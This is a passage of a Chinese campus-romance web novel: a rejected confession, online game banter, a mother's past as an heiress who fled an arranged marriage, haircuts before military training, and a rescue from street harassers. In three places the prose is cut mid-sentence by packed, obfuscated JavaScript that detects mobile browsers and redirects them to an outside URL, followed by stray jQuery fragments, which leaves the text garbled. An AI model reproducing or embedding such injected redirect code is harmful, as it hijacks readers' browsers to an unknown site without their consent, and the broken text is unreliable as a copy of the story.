卞思彤是艺术生,和许朝露的班级相距很远,原本八竿子打不到一起的两人,却在高二那年混熟成了朋友。 高考后,卞思彤有来许朝露家玩过,许朝露下意识认为她是来找她的,快步迎了上去。 路灯照亮卞思彤手里精致的礼物袋子,女孩面庞微红,视线越过许朝露,望向她身后那个人。 许朝露脚步蓦地放慢。 后知后觉地发现,这里不是她家那栋楼,而是池列屿家。 卞思彤不是来找她的。 池列屿走上前,睨许朝露一眼,语气比秋水还凉:“没搞错吧?那儿好像是我家。” 许朝露沉默了。 池列屿能想到的她也能想到——卞思彤又不是池列屿的朋友,不应该知道他家在哪。 除非有人告诉过她。 不久前在地铁上,许朝露刚说过要帮他找对象。 现在卞思彤就出现在他家楼下,一副要向他告白的架势。 许朝露想解释点什么,但卞思彤已经朝这边走过来。 “找我还是找她?”池列屿问。 卞思彤脸更红了:“找你。” 池列屿:“行。” 卞思彤瞥了眼许朝露,后者尴尬一笑,识时务地转身走开。 步速越来越快,她小跑进自家单元门,还没进电梯,就掏出手机给舒夏发消息。 喜之郎:【卞思彤喜欢池列屿,你知道吗?】 舒夏无时无刻不挂在网线上,秒回:【什么?!!】 喜之郎:【你也没察觉吧!我也是刚刚才知道】 夏夏:【你怎么知道的?她告诉你的吗?】 喜之郎:【不是,她去找池列屿了,刚好被我看到】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947515|160848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜之郎:【我现在心里有点堵】 夏夏:【!!!】 夏夏:【你终于对池列屿产生一丁点占有欲了吗?好样的!】 夏夏:【绝不允许别的女人把他从你身边抢走!】 喜之郎:【?】 与此同时,楼底香樟树下。 树影摇落一地光斑,卞思彤踩在上面,感觉双腿沉得要陷进地里。 她经常登台演出,见过不少大场面,走到哪儿也都是众星捧月,现在就这么被晾在一边,自以为充足的胆量根本不够用,只剩一口不服输的气强撑着。 曾听其他追过池列屿的女生说,池列屿这人虽然冷淡不好接近,但教养有保障,一般不会让人难堪。 可今晚的池列屿和传言中不太一样,全身上下都透着不耐烦,从一开始就没认真听她说话。 她告白完,过了很久,池列屿才心不在焉地回:“说完了?” 卞思彤:“我在学校挺出名的,你真的对我没印象吗?高二跨年演出,我的节目和你的节目挨着,我还在后台和你拍了合照……” 池列屿:“是和我还有许朝露,我们仨拍的合照。” “这么说你有印象了?” “……” 卞思彤深吸气:“我知道你现在对我没兴趣,我们可以先从朋友做起吗?我读的N大就在K大斜对面,听说N大食堂很不错,你来的话我可以请你吃饭。” “我看起来落魄到要去别人学校蹭饭?”池列屿挺无语,“不缺朋友。就这样吧。” “等等。”见他要走,卞思彤孤掷一注地问,“你上大学会谈恋爱吗?等你想谈的时候,能不能考虑一下我?” 路灯昏昏缈缈地洒下光芒,照得少年人轮廓像镀了层金边。卞思彤平视只够到池列屿肩膀,惊叹于他的清瘦高大,脊背平直开阔,在昏暗的地方显得更立体,像山涧河流,叫人忍不住遐想深不见底的地方,会有怎样的湍流。 池列屿顿住脚,瞭着前方无意义一点,语气直截了当:“抱歉啊,不谈校外的。” 话落,他没有第一时间走掉,今晚唯一一次挺认真地看了卞思彤一眼: “谁告诉你我今晚会从外面回来?” …… 许朝露和舒夏微信上说不清楚,直接拨去电话。 “你别瞎说,我和池列屿只是朋友。”许朝露说,“我心里堵的是,我怀疑卞思彤和我交朋友就是为了池列屿。她上回来我家好像问了我一句池列屿家在哪,我就指了指旁边那栋楼,当时以为是随便聊聊,现在发现可能是蓄谋已久。” “什么意思?她去池列屿家找他了?”舒夏震惊,“卞思彤平常看起来挺高冷的,没想到啊……” 许朝露倒进卧室的懒人沙发,叹气:“从小到大,我这儿简直是池列屿的粉丝接待站。她们就不能看中我聪明可爱才和我交朋友吗?池列屿有什么好的,也就长得帅点。” “那可不是一般的帅。”舒夏补充。 许朝露突然笑:“想起来了,你初一好像也喜欢过他?” “我和她们不一样,我是先和你好了之后,才喜欢池列屿的。”舒夏噼里啪啦地解释,“况且,初一那会儿,我们班上是个女生都喜欢他好不?噢,除了你之外。” 直到现在舒夏也没忘记,初一刚入学不久,全年级拉去军事基地实训,实训最后一天晚上组织了一场文艺表演,池列屿压轴登场,抱着把木吉他弹了首曲子。 他那时身高已经一米七多,无暇的冷白皮,坐在舞台上好像会反光,基地发的迷彩T恤套在他身上像是时尚单品,飒得没边。 吉他抵在胸口,不插电,立麦对准了音孔。少年瘦长白净的右手罩着琴弦,指弹和扫弦的速度快到叫人眼花缭乱。 木吉他清亮的音色硬生生被他弹出喧嚣的失真感,像星火坠落原野,野蛮地、势不可挡地扩散开来,燎遍全场。 池列屿几乎全程垂眼看着吉他,只在几个瞬间,气氛攀升到峰顶,他掀起眼帘望一望观众席,视线锐利张扬,像从层层乌云顶上,骤然直射下来的阳光。 舒夏还记得那天他弹的曲子叫《Lose Control》,弹到最后,全场真的都lose control了。 就这阵仗,十二三岁的小女生哪个受得了? 7. 天使 “有那么夸张吗?”许朝露陷在懒人沙发里,声音发闷,“以后上大学,不知道还要帮池列屿接待多少粉丝。喜欢我的男生也不少,怎么就没人去麻烦他?太不公平了。” “就池列屿那拽样,谁敢指望他来接近你啊。”舒夏说,“归根结底还是你这人太好说话了,以后要是还有人找你打听他,你就说你也想泡他,人家自然就走开了。” 许朝露:“可是我不想啊。” “……”舒夏语塞,“你假装一下啊。” “装不来。”许朝露说,“我是个真诚的人。” 舒夏想想也是,认识这么多年,许朝露无论做什么都非常由心,内在和外在是极其统一的。她的理想型也很清晰,就是爱穿白衬衫,文质彬彬,性格像白开水一样温润的男生。 至于池列屿,和白开水简直差了十万八千里,那就是毒药,还是见血封喉的剧毒。 和舒夏聊完,许朝露窝在懒人沙发里发呆。 过了会儿,她跑到窗边,望见池列屿家楼下没人了,给他拨去电话。 “什么事?” 男生嗓音懒倦,颗粒感分明,不太想搭理她的样子。 “没什么事,就是找你解释一下。”许朝露说,“我不知道卞思彤想追你,也不是有意告诉她你家在哪的,可能是她来我家玩的时候不小心说漏嘴了。还有,今晚在你家门口堵你绝不是我支的招……” “嗯。”池列屿没等她说完,就疲疲沓沓地应了声,“猜到了。” “你猜到了?”许朝露松了口气,“那你刚才在楼下那样看我?我还以为你生气了呢……虽然我确实有点错。” “那会儿烦透了。”池列屿揉了揉眉心,“以后嘴上有点把门,行不?” “行,绝对行,我发4。”许朝露小心翼翼,“那你现在还烦吗?” “……” 显然是还有点。 许朝露:“我今天刷到一个超好看的光遇穿模教程,带你去飞一哈,快上号。” 池列屿没什么兴致:“算了吧。” 许朝露:“来嘛来嘛,我已经叫人了,橘子和夏夏都上线了。” 光遇是一款治愈系冒险游戏,可以牵着小伙伴的手飞来飞去。许朝露挺爱玩,属于人菜瘾大,说好了带池列屿穿模看风景,结果卡在墙上摩擦半天也穿不进模型里,最后还是池列屿仔细看了一遍那个穿模教程,带着她和舒夏贺星诀,一次就卡bug穿进去了,四人跌进奇异的建模空间,坠落在一片粉紫色云海。 风景确实漂亮,有种光怪陆离的温柔感。 池列屿操纵人物探索云海,旁边有团矮矮的黑影跟着他,是许朝露,向他发起了“背背”动作——她背他。 平常都是池列屿背着她这个手残党跑图,今天她忽然要背他,池列屿觉得有点不对劲,但也没想太多,接受了邀请。 刚坐到许朝露背上,她又说要玩捉迷藏。 参与捉迷藏的人会自动趴到地上,许朝露趴下的一瞬间,池列屿终于反应过来—— 她今天故意装扮成圆短身材,披棕色斗篷,头顶两个长触须,趴在云海里就像只若隐若现的蟑螂。 而他因为“背背”动作,此刻正骑在蟑螂背上,蟑螂爬得别提多欢快,驮着他一往无前地狂奔…… 池列屿整个人都麻了,无法直视地丢开手机,胡乱抓了抓头发,没一会儿,又把手机捡起来,摁屏幕打字—— cly:【你还能再神金一点?嗯?】 喜之郎:【你现在开心点了吗?】 cly:【开心】 cly:【我开心死了】 cly:【无法用语言形容的开心】 喜之郎:【真的假的,嘿嘿】 cly:【真的,你现在过来吧,来我家看看我有多开心】 喜之郎:【啊,还是算了吧,我好像有点困了zzz】 …… 温嘉钰从阳台进来,看到池列屿一个人坐在餐厅。 他回家时脸色有些阴沉,温嘉钰不擅长和孩子沟通,就让阿姨做了份水果沙拉,做完喊池列屿出来吃。 “味道怎么样?” 池列屿才发现她走过来,手机往旁边一扔:“挺好吃的。” 温嘉钰:“在看什么,笑成这样?” 池列屿搓了搓脸,肩膀还带着颤,嗓子有点哑,含着拼命忍笑的气音:“没什么,就一傻子。” 温嘉钰点头,不多问。 十几岁小朋友的心情比夏末的天气还多变,看来没什么好担心的。 - 进入八月,许朝露这天又赖到中午才起床。 午饭已经准备好,许朝露洗漱完,往餐桌边一坐:“妈,今天不是周日吗?爸又去上班了?” “是啊,八点就出门了。”林若晗说,“你今晚去夏夏家吃饭的话,我就去他公司陪他好了。” 许朝露不太懂生意场上的事,但她大约能猜到,去年爸爸和池叔叔起争端,池叔叔带领团队离开公司留下一堆烂摊子,到现在估计还没彻底料理好。 许朝露的父母许岩、林若晗,池列屿的父母池一恒、温嘉钰,四个人都是大学同学,其中三人大学时期就是密友,只有许岩,因为家境太差,完全游离于他们圈子之外。 各自成家后,许、池两家人住同一条街,又成了邻居。池一恒的发妻几年后意外过世,当时温嘉钰也处在离婚状态,林若晗便做媒撮合了她和池一恒,温嘉钰从此成为了池列屿的继母。三人延续了大学时期的友情,至于许岩,这么多年来,和池家两口子的关系始终不咸不淡。 四人都算事业有成,其中混得最好的当属温嘉钰,红圈女强人,经营着一家大型律所,年收入极为可观。 但若说到家世背景,林若晗的出身是其余人望尘莫及。 当然,仅限于结婚之前。 许朝露读初中的时候,有天林若晗在她枕头底下摸出一本小说,讲的是什么豪门千金爱上穷小子,林若晗坐在床边翻了翻,等许朝露补完课回来,她把小说“啪”地丢在许朝露面前,大骂: “你都初三了,还天天看这种东西?要看也看点有见识的人写的,谁家豪门千金住一百万的豪宅,每天早上吃麦当劳,衣柜塞满了ZARA最新款?最离谱的是她竟然把快递纸箱收集起来送给家里保姆,让人家卖废品补贴家用?搞笑呢,妈妈小时候身边的保姆日薪四位数,开保时捷,卖废品那点钱还不够人家一脚油门……” 林若晗婚后很少提起过去的生活,也就那天被无脑小说刺激的,突然产生了点倾诉欲,说的也不多,后来许朝露再打听,她就不肯说了。 直到许朝露上高中,和舅舅家有了点往来,她才知道老妈的原生家庭来头有多大。 今天饭桌上,林若晗视线就没离开过许朝露,眉眼弯弯,好像看着她就能填饱肚子。 许朝露被她盯得有点不自在:“妈你有话要说啊?” “是有个事儿。”林若晗说,“小嬿也考上K大了,你知道吧?” “嗯。她朋友圈晒了录取通知书。” 只露出K大校名,把学院和专业马赛克掉了。 小嬿是许朝露舅舅的女儿,全名林雅嬿,和许朝露同年生,比她小几个月。 林若晗:“小嬿是擦线录取的,她爸想尽办法把她安排进一个不那么冷门的专业,但她还是不满意,一心想去你那个学院。” 许朝露所在的经管学院是K大录取分数线最高的学院之一,非全省前几名进不去,即便林家手眼通天,也很难在这上面运作。 许朝露:“她想大二转专业是吧?” “是的。”林若晗说,“今早你舅舅打电话给我,希望你开学以后多带带她。我说我得先问你。” “我没问题。”许朝露痛快地应下了。 林若晗点点头,不知道为什么,眼眶忽然有些湿润。 她是逃婚离开林家的。 大学一毕业,二十一岁的她就被安排联姻,对象是她根本不认识、见第一面就油腻得她想吐的纨绔子弟。 父母非常看重这场联姻,林若晗却不愿为此奉献一生,几番争执不下,她毅然决然抛弃一切,和初恋男友私奔了。 她的初恋男友就是许岩,一个无父无母、一穷二白、心脏还长了个窟窿的病弱贫困生。大学时期,林若晗身边的朋友没有一个赞同他们在一起,但她就是着了魔似的喜欢他。 逃婚后他们只剩彼此,千金大小姐脱下华服从零开始摸爬滚打,吃了多少难以想象的苦,只有她自己知道。 从前最疼爱林若晗的哥哥也恨她自私不顾家族,断绝来往十多年,直到下一辈都长大,隔阂被时间软化,他才在老人的授意下联系上了妹妹。 许朝露高一那年,第一次见到表妹林雅嬿。 她来家里做客,许朝露带她参观,听见林雅嬿皱着眉嫌弃他们家小。 一家三口加保姆,住两百平的房子,许朝露都觉得太宽敞了,她竟然嫌小? 后来许朝露才知道,林雅嬿一个人的房间,比他们整个家都大。 林雅嬿只在姑姑家待了不到两小时,能嫌弃的东西都嫌弃了一遍,最后饭都不愿意吃就叫司机来把她接走了。 林若晗全程尴尬赔笑。他们家绝对不穷,许岩已经爬到公司高层,她自己经营珠宝工作室,年收入也有七位数,可是这些钱在她娘家人眼里微不足道,她即使拼命一辈子,也不太可能拥有从前那样的生活。 林若晗自认为已经很幸福了,不需要和林家人一较高下,也并不在意他们居高临下的审视。 但是,当爸妈和哥哥轮番打电话来恭喜朝露高中状元、为朝露大办酒席、好声好气请求朝露以后带一带表妹的时候,林若晗心里那个扬眉吐气呀,简直无法用语言形容。 她眨眨眼,挤掉眼眶里的水汽,对女儿说:“你自己的学习生活要紧,忙的话就不用管她。” 许朝露点头:“我大学应该挺忙的,有好多计划——打算和池列屿他们组个乐队,还想去学生会玩玩,啊,我还要谈恋爱。” 林若晗敲桌子:“学习和身体最重要。听说你们学校军训很辛苦,军训前我带你去医院检查一下心脏。” 许朝露有遗传性先心病,和她爸一样,心脏里头缺了一块,小时候就做手术把缺口封闭上了,隔几年复查一次就行,身体和常人无异。 该嘱咐的话都嘱咐完,林若晗还是看着女儿挪不开眼。 “你知道你是妈妈的骄傲吧?”毫无预兆地,她忽然这么问。 许朝露抬起头。 无端想起很小的时候,因为心脏里头的缺口没有随着年龄增长自动闭合,她不得不做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947516|160848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手术干预,麻药起效之前,听见的最后一句话就是妈妈破碎的哽咽:“你知道你是妈妈的命吧……” “我知道。”许朝露眼眶有点红,边吃菜边轻声说,“我以后会让你更骄傲的。” - 午后,舒夏家。 许朝露懒得带伞,一路跑过来,这会儿正大汗淋漓地站着吹空调,看舒夏坐在梳妆台前捣鼓一堆刚买的化妆品。 “你说我的账号内容会不会太杂了?”舒夏问,“以前都靠池列屿那张脸吸粉,上条发了游戏视频,今天我又想搞美妆了……难顶。” 许朝露翻她账号,上条视频就是他们四个一起玩光遇,她打扮成蟑螂背着池列屿跑的录屏,配上鬼畜的bgm,简直不要太抽象。 “个人账号杂点没关系吧?你流量还是很好,上条视频有十万人看池列屿骑蟑螂,七千多人点赞呢。”许朝露还挺自豪,“以后想专注哪个赛道,可以再开别的号。” “那我下条就发美妆了?”舒夏说,“你吹完空调没啊,快过来和我一起化妆。” “我不会啊。” “我给你化,”舒夏兴致勃勃,“长那么漂亮,刚好让我练手。” “……” 其实舒夏也是个半吊子,看过很多美妆视频,但没上手过几次。 “你比我白点,就用这个冷色调的人鱼盘吧。”舒夏说,“我用这个樱花盘。” “好吧。” …… 许朝露妆容先完成,拿着镜子左看右看:“这好看吗?怎么有点像外星人?” “不会啊,超美的。”舒夏拿手机给她看,“和教程里一模一样。” 许朝露:“不太一样吧,人家这个比较自然……我和吃草去剃头咯……” “你说啥?” “我在念贺星诀刚发给你的消息。”许朝露指指她手机跳出来的消息栏,“他俩好像去剪头发了。” 舒夏眼睛一亮:“太好了,我的新视频素材来了。” 帅哥是永恒的流量密码,舒夏前阵子问贺星诀能不能让她拍点素材,最好带上池列屿。贺星诀想半天才想到,因为K大军训要求男生留寸头,他和池列屿约开学前一起去剪头发,就和舒夏说到时候叫上她,让她拍他俩的寸头造型。 “他这么帮你,该不会是你的守护天使吧?”许朝露看到舒夏聊天记录,说,“你还夸他剪了寸头说不定比池列屿还man,你该不会也是他的守护天使吧?” “我找他帮忙不得夸他啊?我还帮你化妆呢,你咋不说我是你的守护天使?” “因为你化的有点怪……” “哪里怪了?博主说这个妆可以日常用的。” 许朝露心说你化的和博主化的最好是同一个妆。 舒夏给自己也化完,照照镜子觉得不错,这就要出门找贺星诀。 “你不去看他俩剪头发吗?”舒夏问许朝露,后者还在照镜子。 “我当然去。” 这妆看久了似乎变顺眼了点,许朝露搓搓蓝紫色的眼皮,决定不卸了,就这么跟着舒夏往外走。 在客厅碰到舒夏她爸,舒夏大言不惭问:“老爹,我俩的妆都是我化的,你觉得怎么样?” 舒父正抱着手机欢乐麻将,摸到个二饼一条龙胡了,喜笑颜开:“很好,非常好。” “谁的更好看?” “当然是朝露。”他想也不想就答。 舒夏有点被打击到了,边捶她爸边骂:“你这个谄媚的男人,再谄媚高考状元也不是你家的。” 舒父:“……” 坐电梯下楼,许朝露就着光滑的墙壁照镜子,边和舒夏闲侃:“你爸脾气真好,我可不敢这么和我爸说话。” “我看到你爸也犯怵。我最怕池列屿他妈,第二怕的就是你爸。” “我爸只是脸比较臭,脾气比嘉钰姨温柔多了。”许朝露说,“不过我听说,池列屿保送之后,嘉钰姨就不怎么管他了。” “那太好了。他以前过的那日子,想想我都窒息……” …… 贺星诀发的理发店位于附近一条老街上。骄阳当空,许朝露和舒夏共撑一把伞步行过去。 理发店开在住宅楼底的门面房,失去光泽的玻璃推拉门上贴着白底黑字的促销海报——暑假洗剪吹大酬宾,一颗头五十,买一送一。 这用词,莫名透着股杀气。 她俩热得快融化,风风火火拉开推拉门闯进去。 动静不小,店里四个人,三个都转头看过来,唯一没动的是坐在门边的男生,头发看起来理得差不多了,薄薄的乌黑的一层,清爽又利落,从背后看,头型简直完美。 许朝露朝前走,那位哥依然八风不动地坐着,眼皮都懒得抬一下。 理发店最不缺的就是镜子,猝不及防地,许朝露从镜子里撞上他眼睛。 俗话说的好,寸头是检验帅哥的唯一标准。镜子里的男生露出白净额头,眉眼不加任何修饰,锋利张扬又野气,眼风挺冷,带着很强攻击性,许朝露小心脏怦怦跳了两下,很陌生的感觉。 “你谁?”她瞪着眼睛问。 “你又谁?”池列屿总算有了点反应,视线流连在许朝露闪着金光的蓝紫色眼皮上,光看镜子不够,又转过来放肆地打量她,“阿凡达入侵地球了?” “……” 8. 天使 “如果我入侵地球。”许朝露顺着他的话,“第一个就灭了你。” 怼完池列屿,她才抬眼看镜子里的自己。不知道是不是灯光问题,她的眼影在这儿显得特突兀,搭配橘粉带金闪的人鱼色口红,非主流精神小妹既视感扑面而来。 好不容易看顺眼的妆,突然又崩了。 池列屿已经转回去,在镜子里睨着她,唇角欠揍地扯着,配上短而硬挺的寸头,帅是很帅,飞扬跋扈更甚,让人恨不得想扑上去咬他。 许朝露磨磨后槽牙,略过这浑蛋,问其他人:“我去买雪糕,你们想吃什么?” 舒夏:“我都行。” 贺星诀:“我要吃大布丁。” 许朝露离开后,舒夏举着手机先拍池列屿,有点失望:“大哥,你这就剪完了啊?我还想拍前后对比呢。” “谁叫你们过来那么慢。”贺星诀在旁边说,“我还没剪完,你拍我吧。” “你怎么剪得比他慢这么多?” “我要求比较多嘛。” 池列屿那边已经结束,贺星诀伸长脖子看他造型:“我靠,你这个也太帅了吧。” 店里有两位理发师,一位是朴实无华中年人,一位是黄头发杀马特小哥,两人长挺像,应该是父子档。贺星诀一进店就指定了看起来经验丰富的中年大叔给自己剪,杀马特小哥让给了好兄弟,现在他有点后悔了,杀马特小哥的手艺似乎更高超,给池列屿剪真浪费。 “那是人家长得帅。”舒夏无语,“寸头考验的是妈生头型,怎么剪都是那个样。” 贺星诀还想再抢救一下:“师傅,你给我两鬓这儿推个图案试试。” “你悠着点啊,我今天是来拍帅哥的,”舒夏想了想,“那我改拍沙雕视频?” “……” “我突然发现一件事。”贺星诀气急败坏,“这都一周多了,为什么我完全没感觉到有人在守护我啊?你们有在认真当天使吗!” “这儿只有我,没有们。”舒夏耸耸肩,“池列屿刚出去了。” 贺星诀才发现池列屿座位空了,只得将矛头对准舒夏:“姓舒的你最好不是我的守护天使。” “嘿嘿,谁知道呢?” 外面天气如张火伞,街边树木被烈阳烤得卷起了边,蝉鸣像撕裂空气的重金属乐一样喧嚣,整条老街只有零星几个人影在晃。 许朝露走进一家便利店,没找见贺星诀要的大布丁。 她也想吃布丁,只好换家店,又往前走了两百多米才找到一家有冰柜的杂货铺。 杂货铺是门面房,里头还有条窄窄的通道,通道口歪挂着两个招牌,直走是台球室,上楼还有24小时网吧,冷气幽幽地从里面扑出来。 这些店平常都靠附近一所职高的学生养着,人多的时候乌烟瘴气,暑假一放生意惨淡,看起来倒是干净多了。 冰柜里头铺满了布丁雪糕,但只有一个大布丁,其他全是小布丁。 许朝露要了个塑料袋,伸长胳膊在冰柜里翻翻找找,想再掏个大的出来。 她今天穿得清凉,米白色小飞袖连衣短裙,裙摆只到屁股下面一点,两条笔直纤长的腿暴露在阳光下,白得晃眼。 许朝露是招蚊子的体质,出门不到半小时,腿上就被咬了两个包,这会儿她一边弯腰掏冰柜,一边屈起左腿蹭右腿后边的蚊子包,痒死人了。 杂货铺里头的通道走出来两个男生,嘴里叼着烟,吊儿郎当混混样。 他们的视线黏在许朝露白生生的腿上,轻佻道:“买冰棍啊妹妹?想吃什么,哥哥们请你啊。” 许朝露瞟了眼他们,没理,接着翻她的冰柜。 浓艳的蓝紫色眼影让她看起来不像好学生,但那张脸还是一等一的漂亮,不正眼瞧人的敷衍劲儿,莫名有魅力。 染红毛的男生凑到许朝露身边,吐了口烟:“多拿点,哥哥有的是钱。” 许朝露皱起眉,随便抓了把雪糕丢到塑料袋里,拿出手机就要扫码付钱。 “说了哥哥请客,你急什么。”红毛打掉她手机,流里流气说,“一起去对面吃烧烤啊,认识一下。” 虽然是光天化日,但街上空荡荡的没几个人,许朝露一个文弱女生,自然不敢和他们硬碰硬。 她卖了个笑:“我还有几个朋友,要不叫上一起?” …… 说完她才反应过来,这话听着,似乎带了点挑衅。 旁边的卷毛男像被点着了,不耐烦地把烟一丢:“叫啊,都叫来啊,老子请得起。” 许朝露瑟缩了下,慌忙打开手机通讯录,来不及拨出电话,肩膀就被红毛男揽住,笑嘻嘻带着她往街对面走,烟味冲得人想呕:“你先跟我们过去,再慢慢叫你朋友。” 许朝露心提到嗓子眼,像只紧绷小兽,本能地避开触碰。 下一瞬,她左臂突然被人抓住,少年微凉干燥的手掌紧贴她肌肤,修长手指微微陷入,禁锢着她,紧接着又把人往他那儿一拽。 “不用叫,已经到了。” 熟悉的冷淡声音,像梢头倏忽落下的一捧雪,质感清冽干净,同时也毫不掩饰浑身的刺。 许朝露倒退两步,转头看见池列屿,强光照得他侧脸线条极为锋利,有种不可一世的冷感。 这一瞬间,她感觉脚下像突然张开一片力场,随便她怎么依靠,都会得到强有力的支撑。 “谁说要请客?”池列屿语气还挺平静,他比两个混混都高半头,短而利落的寸头冲淡了白皙皮肤带来的书卷气,在灼灼阳光下更显嚣张,唇角一提,野得不行,瞧着比混混还浑,“你俩吗?” 红毛和卷毛对视一眼,气焰都有些动摇:“你他妈又是哪根葱?” 他们不太想抬头仰视池列屿,只恶狠狠地盯着许朝露:“妹妹,这你男朋友啊?” “不……”许朝露刚蹦出一个字,又把嘴闭上,不吭声了。 现在这个情况,让他们误会她有对象显然更容易脱身。 转念又想到,她不解释,池列屿也会解释啊。 空旷的街道回响着蝉鸣声,热浪一阵又一阵扑面而过,许朝露等了会儿,没听见他说话。 她暗暗松了口气。青梅竹马十几年,这种程度的默契还是有的。 许朝露没有刻意躲,池列屿就是很自然地挡在她前边,一人顶着俩混混,气势还占上风,不咸不淡问:“刚谁动手动脚来着?” 他冲着红毛,眼神像冰刀子:“是你吧?” 等一下。 许朝露只想快点离开这个是非之地,这哥怎么还主动挑事啊? 虽然他顶着她对象的身份为她出气,确实挺自然的。 她抓了下池列屿的衣摆,但是为时已晚。 衣料从指尖滑脱,池列屿已经走上前去,散漫地抬手搭了搭红毛肩膀,像红毛刚才对待许朝露那样,乍一看还挺亲切。 下一瞬,红毛脸色突然变得煞白,肩骨像被人捏碎了似的剧痛。 等他和卷毛反应过来,池列屿已经松开手,讥诮道:“职高的吧?身子骨这么弱,还没成年?” 顿了顿,他接着道:“我不揍未成年,快滚。” 池列屿看着很瘦,力气却大得惊人。高中他们班每周都要换一次座位,大家图方便,都习惯连桌子带书一起搬,男生先搬自己的,再去帮女生搬,大部分男生还在哼哧哼哧挪自己桌子的时候,池列屿已经帮周围的女生都搬完了,干的活最多,看起来却最轻松。还有打篮球的时候,许朝露见过他跳起来暴力扣篮,手离开篮筐的一瞬,整个篮球架嗡嗡震动,仿佛下一秒就要散架,初中他就曾经把小区里的篮筐玻璃扣碎过,被物业和他爸妈围起来骂,说这样很危险,后来也没见他改。 似是被他说中了,两个混混真是没成年的职高学生。 站在比他们年长还比他们高半头的池列屿面前,脸上都浮现退缩之意,尤其是红毛,疼的龇牙咧嘴,感觉他俩加起来都打不过这哥。 那还等什么?快跑啊。 估计是觉得没面子,俩混混边跑边啐骂,像两条夹着尾巴无能狂吠的野狗,一溜烟消失在巷尾。 这就走了? 许朝露有点没反应过来。 抬头瞅眼池列屿,她若有所思:“你这个发型,确实挺唬人的。” 池列屿脸还冷着,没理她,兀自走进杂货铺,拿了个小玩意出来,加上许朝露买的雪糕一起付了钱。 小玩意是青草膏,池列屿往许朝露手上一扔,没好气说:“痒就涂点药,别在那儿抓啊蹭的。” 她今天穿的裙子太短,只能包住屁股,大腿后边有个蚊子包,被她蹭得红了一片,烙在雪白无暇的肌肤上别提多显眼。 也不知道有多痒,被混混围住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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旁边就是理发店,推拉门“嚯”地打开,贺星诀从里头钻出来,打眼就看到一对男女站在一起不知道在干什么。 “好啊你们,买个雪糕半天回不来,原来背着我在这儿偷吃。” 这话听着,像在骂他俩背着人偷腥。 许朝露耳朵莫名发烫,拎起雪糕袋子给贺星诀看:“谁偷吃了?明明一个都没动。” 贺星诀走过来,有点骚包地摸了下两鬓,师傅在那儿给他刻了个花里花哨的字母“J”。 舒夏跟在他身后,有些话在店里不好说,到了外头才敢畅所欲言—— “你这头剪得太值了。”她竖起大拇指,“花了二十五,剪出了二百五的效果。” “你才二百五,你根本不懂时尚。”贺星诀决定离她远点,这人肯定不是他的天使,他现在急需天使的温暖抚慰脆弱的心灵。 他觉得他的天使应该是许朝露。 理发店屋檐下有排塑料椅,四人坐在那儿分雪糕。 许朝露眼疾手快地从袋子里掏出唯一一根大布丁,贺星诀记得这是他点的,正欲伸手接,就见许朝露用衣服擦了擦手,直接撕开了袋子。 然后把这根唯一的大布丁。 递给了坐在她旁边的池列屿。 贺星诀:? 靠,露露王也不是他的天使吗?他只想要女生天使来着。 但是有天使总比没有好。 “吃草。”贺星诀给他一个眼神让他自己体会,“大布丁是我点的。” 池列屿:“哦。” 在贺星诀心目中,从小到大,他的好兄弟吃草都是他见过最帅最有逼格的男的,不光是长相,那种帅是深入骨骼刻在基因里头的,一言一行举手投足都倍有范儿,站在茅坑里都是最帅的那根葱。 认识这么多年,贺星诀几乎没印象他兄弟形象崩塌过。 除了现在—— 姓池的狗东西忽然伸出舌头,慢条斯理地从雪糕底部往上舔,舔到顶上再翻个面,重复动作,全须全尾地把整根大布丁舔了个遍。 做完这些,这狗东西懒懒向后一靠,扬了扬下巴:“你还要吗?” 贺星诀有点想吐:…… 可以确认了。 这伙人里根本就没有他的守护天使! 9. 天使 八月中,K大新生军训拉开序幕。 K大在顶级学府中素有“体校”之称,军训时间长、强度高、纪律严,身体不好的学生虽然可以申请加入病号连,但病号连的军训成绩一律只有及格。K大军训成绩计入绩点,许朝露不想一入学就拿个C,只能放弃凭先心病史去病号连划水的机会,跟着大部队正常军训。 每天早上六点半集合,到晚上九点才解散,许朝露训了两天,感觉浑身上下肌肉骨头都不是自己的了,一下训练场就跟被榨干了似的,只剩个壳瘫着。 宿舍是四人间,三个舍友王晓悦、张艺晴、伊玥都是北方人,其中王晓悦和许朝露是云城本地的,几天相处下来混得更熟些。 王晓悦开学前就知道自己未来要和高考状元当舍友,她在心里对许朝露做了很多预设,无外乎冷淡、理性、强干……总之就是很神,结果这些预设在这几天里一个接一个被打破,许朝露意外的很活泼,甚至有点搞笑,体能特别差,训练场上妥妥的小废物,最让人惊讶的是她的长相,竟然比照片里还漂亮,当表演系学生都绰绰有余的漂亮,王晓悦的世界观都被拓展了,原来高考状元也可以这样。 许朝露自来熟,几天下来也就和伊玥还没处好关系。伊玥这人性子独,长相也偏冷艳,丹凤眼高鼻梁,瞧着就很有距离感,平常宿舍聊天她几乎不参加,许朝露也不知道能和她聊什么。 